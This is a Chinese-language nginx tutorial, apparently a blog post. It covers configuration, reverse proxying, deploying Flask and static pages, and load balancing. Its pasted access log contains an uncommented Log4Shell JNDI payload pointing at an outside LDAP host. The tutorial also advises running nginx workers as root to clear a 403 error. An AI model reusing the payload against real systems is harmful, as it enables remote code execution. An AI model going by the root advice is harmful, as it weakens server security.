Web网站的构成和页面渲染
爬虫与反爬虫的较量总是围绕着Web网站展开,爬虫的主要目的是获取Web网站中的内容。开发者想要限制爬虫获取数据,就需要了解HTML从文档变成内容丰富的页面所要经历的每个阶段。例如网络请求、资源匹配、数据传输和页面渲染。因此在学习爬虫之前,我们需要先了解web网站的构成和页面渲染过程的相关知识。
web网站由服务端与客户端组成,服务器主要负责为客户端提供文件资源的提取与数据的保存服务,而客户端则是将服务器的资源转化为用户可读的内容。服务器端与客户端之间的信息交互需要通过网络进行传输,而网络传输会根据对应的网络协议进行。如果客户端与服务端要进行通信,两者需要使用相同的网络协议。
nginx 服务器
Web网站的功能由编程语言来实现,编程语言专注的是功能实现,资源的映射与连接处理是由服务器软件完成。常见的服务器主要有Apache、nginx和Tomcat等,接下来我们就对nginx来增进对服务器的了解。
nginx是一个HTTP和反向代理服务器,同时也是邮件代理服务器和通用的TCP/UDP代理服务器。它具有模块化设计,可拓展、低内存消耗、支持热部署等优秀特性,所以非常多的web应用将其作为服务器软件。
nginx有一个主进程和若干工作进程,其中主进程用于读取和评估配置并维护工作进程,工作进程会对请求进行实际处理。nginx采用基于事件的模型和依赖于操作系统的机制,有效的工作进程之间分发请求。工作进程数在配置文件中进行定义,可以设定具体数值或使用默认选项。
imagenginx有一个主进程和多个工作进程,主进程主要用于维护自身运转,例如读取配置、维护工作进程、重新载入配置等,工作进程是具体响应请求的进程。nginx的工作进程数是确定的,并不是说来一个任务才开启一个进程,它的工作进程数可以在配置文件中更改。
快速安装nginx
你都学到nginx了,这里强烈建议大家一定要去购买云服务器来操作,我这里使用的是Centos7.6版本的Linux操作系统。
连接云服务器的终端,输入下面的命令即可安装nginx。
yum install nginx
安装完毕之后,在你的浏览器访问服务器的IP地址即可。
nginx 信号
信号是控制nginx工作状态的模块,信号语法格式为:
nginx -s signal
常用的信号有:
stop 快速关停
quit 正常关停
reload 重新载入配置
reopen 重新打开日志文件
nginx的正确关停,是nginx -s quit,它可以让nginx处理完已经开始的的工作再退出。
nginx配置说明
nginx有主配置文件和辅助配置文件,主配置文件默认名称是nginx.conf,默认存放在/etc/nginx/nginx.conf。辅助配置的文件名称和路径都可以更改,文件名称通常以conf结尾。
通过status找到nginx的Server配置文件
systemctl status nginx
[Unit]
Description=The nginx HTTP and reverse proxy server
After=network-online.target remote-fs.target nss-lookup.target
Wants=network-online.target
[Service]
Type=forking
PIDFile=/run/nginx.pid
# Nginx will fail to start if /run/nginx.pid already exists but has the wrong
# SELinux context. This might happen when running `nginx -t` from the cmdline.
# https://bugzilla.redhat.com/show_bug.cgi?id=1268621
ExecStartPre=/usr/bin/rm -f /run/nginx.pid
ExecStartPre=/usr/sbin/nginx -t
ExecStart=/usr/sbin/nginx
ExecReload=/usr/sbin/nginx -s reload
KillSignal=SIGQUIT
TimeoutStopSec=5
KillMode=process
PrivateTmp=true
[Install]
WantedBy=multi-user.target
查找主配置文件
[root@VM-8-9-centos ~]# find / -name nginx.conf
/etc/nginx/nginx.conf
主配置文件基本结构和作用
user nginx; # 用户
worker_processes auto; # 进程数
error_log /var/log/nginx/error.log; # 错误日志
pid /run/nginx.pid; # 进程文件
# Load dynamic modules. See /usr/share/doc/nginx/README.dynamic.
include /usr/share/nginx/modules/*.conf; # 插件模块配置
events {
worker_connections 1024; # 允许同时连接的连接数
}
http {
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main; # 日志文件
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 4096;
include /etc/nginx/mime.types;
default_type application/octet-stream;
# Load modular configuration files from the /etc/nginx/conf.d directory.
# See http://nginx.org/en/docs/ngx_core_module.html#include
# for more information.
include /etc/nginx/conf.d/*.conf; # 辅助配置文件
server {
listen 80;
listen [::]:80;
server_name _;
root /usr/share/nginx/html;
# Load configuration files for the default server block.
include /etc/nginx/default.d/*.conf;
error_page 404 /404.html;
location = /404.html {
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
}
}
# Settings for a TLS enabled server.
#
# server {
# listen 443 ssl http2;
# listen [::]:443 ssl http2;
# server_name _;
# root /usr/share/nginx/html;
#
# ssl_certificate "/etc/pki/nginx/server.crt";
# ssl_certificate_key "/etc/pki/nginx/private/server.key";
# ssl_session_cache shared:SSL:1m;
# ssl_session_timeout 10m;
# ssl_ciphers HIGH:!aNULL:!MD5;
# ssl_prefer_server_ciphers on;
#
# # Load configuration files for the default server block.
# include /etc/nginx/default.d/*.conf;
#
# error_page 404 /404.html;
# location = /40x.html {
# }
#
# error_page 500 502 503 504 /50x.html;
# location = /50x.html {
# }
# }
通过命令
nginx的工作进程数等于CPU的数量+1
反向代理
一图胜千言。
image反向代理服务器一般都是用于大型互联网公司中,中小型公司也应该会使用。从上图可以看出客户端发出请求,想要获取Server服务器上的内容,但请求将被先发送到代理服务器proxy,这个代理服务器把请求代理到和自己属于同一个LAN上的内部服务器上,而服务器,即向外部客户端提供一个统一的代理入口,客户端发出请求都会先通过这个代理服务器,至于内网是访问哪台服务器,由proxy去控制。
为什么使用反向代理
1、安全及权限
使用反向代理服务器之后,用户端无法直接通过请求访问真正的服务器。
2、负载均衡
例如一个网站的内容被部署到若干台服务器上,可以把这些机子看作是集群,那么nginx把收到的请求平均分配到每个不同的服务器上,不会造成一个服务器的压力过大,这就实现了负载均衡。
正向代理
正向代理应该就会比反向代理要好理解很多,其实大家所使用的翻墙工具就是一个正向代理工具。它会把访问墙外服务器Server的网页请求,代理到一个可以访问该网站的代理服务器proxy,这个代理服务器proxy会把墙外服务器Server上的网页内容获取,再转发给客户。
imagenginx配置文件的基础语法
nginx配置文件中的配置项成为指令,指令分为简单指令和块指令。简单的指令由指令名称和参数组成,以空格进行分隔并以英文符号结尾,例如:
worker_processes auto;
worker_processes:指令名称,作用是设置工作进程数
auto:命令参数,表示进程数量,可以是数字也可以是auto(根据CPU数量固定数学公式计算,一般是CPU+1)。
块指令语法格式与简单指令类似,单以花括号包裹更多的简单指令,例如:
http {
server{
...
}
}
上下文
上下文也称为语境,如果块指令包含其他指令,则这个指令称为上下文。常见的上下文例如:
envents
http
server
location
有一个隐藏的上下文指令,main,它不需要显示声明,所有指令的最外层就是main的范围。main作为其他上下文的参考,例如events和http必须在main范围中,server必须在http中;location必须在server中。
部署flask到服务器运行
flask代码,如下:
from flask import Flask
from flask_restful import Resource, Api
app = Flask(__name__)
api = Api(app)
class HelloWord(Resource):
def get(self):
app.logger.info('receive a request, and response 剑南的编程之路')
return {'message': '剑南的编程之路', 'address': 'https://www.kenshujun.cn'}
api.add_resource(HelloWord, '/')
if __name__ == '__main__':
app.run(debug=True, port=5000, host='0.0.0.0')
app.run(debug=True, port=6789, host='0.0.0.0')
这一行代码是需要注意的,因为是放在服务器上运行,需要客户端可以正常的访问,因此在生产环境下运行这段代码,需要将host和debug进行更改。在浏览器中输入服务器的IP地址加端口号即可获取响应。
注意:如果还是无法访问的话,可能的原因就是没有打开防火墙的端口,添加安全规则即可。
但是这种部署的方式是不安全的,暴露了真正服务器的端口信息。
在服务器启动之后,可以通过配置nginx实现反向代理。在辅助配置文件的目录新增配置文件。
> vim /etc/nginx/conf.d/fls.conf
server {
listen 8888;
server_name localhost;
location / {
proxy_pass http://localhost:5000;
}
}
检查语法是否正确
> nginx -t
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
出现上面所展示的结果,则说明配置成功。
重新载入配置
nginx -s reload
浏览器访问http://ip:port,例如我的服务器http://119.91.75.14:8888/
查看nginx日志文件
> cat /var/log/nginx/access.log
107.189.29.181 - - [19/Dec/2021:21:38:58 +0800] "GET / HTTP/1.1" 200 4833 "-" "${jndi:ldap://179.43.175.101:1389/jedmdg}" "-"
209.141.50.223 - - [19/Dec/2021:21:45:04 +0800] "GET /config/getuser?index=0 HTTP/1.1" 404 3650 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0" "-"
121.33.147.185 - - [19/Dec/2021:21:50:50 +0800] "GET / HTTP/1.1" 200 107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0" "-"
部署静态页面
静态页面的HTML代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>静态页面(kenshujun.com)</title>
</head>
<body>
<h1>我的第一个标题</h1>
<p>我的第一个段落。</p>
</body>
</html>
接下来在辅助配置下编写配置文件
server {
listen 9999;
server_name loaclhost;
charset utf-8;
location / {
root /root;
index index.html index.htm;
}
}
和前面相同,写完配置文件之后进行检查以及重载。
如果访问时出现403错误,那就是权限不够,需要去主配置文件修改权限。
vim /etc/nginx/nginx.conf
user root; # 修改为root
worker_processes auto;
error_log /var/log/nginx/error.log;
pid /run/nginx.pid;
接下来便可以访问http://ip:port
基于nginx实现负载均衡
想象一个场景,例如现在你的服务器上的后端服务主要用于格式化时间,有很多爬虫程序需要调用它,而且还需要确保服务的稳定可行。
场景延申:假设你有一个JS算法,现在所有爬虫都需要在发出请求前调用这个算法,生成sign值,带着值去请求。如果你把JS代码放在python/golang这类代码里做本地调试执行,那么你改动算法时需要重新部署所有的爬虫程序,但是做成web服务,只需要重启web服务即可。
一个后端服务有两个明显的缺点
1、服务性能不够。请求太多会导致程序卡顿,响应速度慢,影响整体效率;
2、服务整体不稳定,一旦进程退出或者服务器死机,那么服务将不可访问。
使用负载均衡的好处
1、启动多个后端服务,配置负载均衡,让请求按需(例如轮流)转发到它们那里进行处理,那么就能够承担更多的工作需求。
2、一个nginx负载多个后端服务,当一个服务或者几个服务出现进程退出的情况,还有其他服务在工作。
实现负载均衡
nginx只需要引入proxy_pass指令和upstream上下文即可实现负载均衡。一个简单的负载均衡配置如下:
upstream backend{
server localhost:5000;
server localhost:6000;
}
server {
listen 8888;
server_name localhost;
location / {
proxy_pass http://backend;
}
}
保存后重新载入即可。
域名解析与配置实战
打开云服务器控制台,进入域名解析(购买域名并备案),点击解析。输入子域名名称、服务器IP地址后选择保存即可。
接下来修改辅助配置文件,更改端口,绑定域名
listen 80;
server_name xx.xxx.com;
网友评论